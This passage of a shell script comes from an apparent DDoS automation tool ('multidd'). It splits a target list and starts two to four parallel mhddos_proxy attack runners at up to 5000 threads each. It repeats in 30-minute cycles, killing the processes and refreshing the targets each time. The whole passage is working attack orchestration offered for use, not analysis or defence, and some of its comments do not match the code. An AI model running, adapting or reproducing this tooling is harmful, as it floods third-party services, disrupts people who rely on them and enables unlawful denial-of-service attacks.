182 | cd ~/multidd/targets/; split -n l/2 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts
183 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 4000 $args_to_pass &
184 | sleep 30
185 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 4000 $args_to_pass &
186 | elif [[ $ddos_size == "XL" ]]; then
187 | cd ~/multidd/targets/; split -n l/4 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 4 parts
188 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 3000 $args_to_pass &
189 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 3000 $args_to_pass &
190 | sleep 30
191 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xac.uaripper $methods -t 3000 $args_to_pass &
192 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xad.uaripper $methods -t 3000 $args_to_pass &
193 | elif [[ $ddos_size == "XXL" ]]; then
194 | cd ~/multidd/targets/; split -n l/4 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts
195 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 4000 $args_to_pass &
196 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 4000 $args_to_pass &
197 | sleep 30
198 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xac.uaripper $methods -t 4000 $args_to_pass &
199 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xad.uaripper $methods -t 4000 $args_to_pass &
200 | elif [[ $ddos_size == "XXXL" ]]; then
201 | cd ~/multidd/targets/; split -n l/4 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts
202 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 5000 $args_to_pass &
203 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 5000 $args_to_pass &
204 | sleep 30
205 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xac.uaripper $methods -t 5000 $args_to_pass &
206 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xad.uaripper $methods -t 5000 $args_to_pass &
207 | fi
208 | sleep 30m
209 | pkill -f start.py; pkill -f runner.py;
210 | prepare_targets_and_banner
211 | rm -rf ~/multidd/mhddos_proxy/
212 | done
213 | fi
214 | EOF
215 |
216 | launch
--------------------------------------------------------------------------------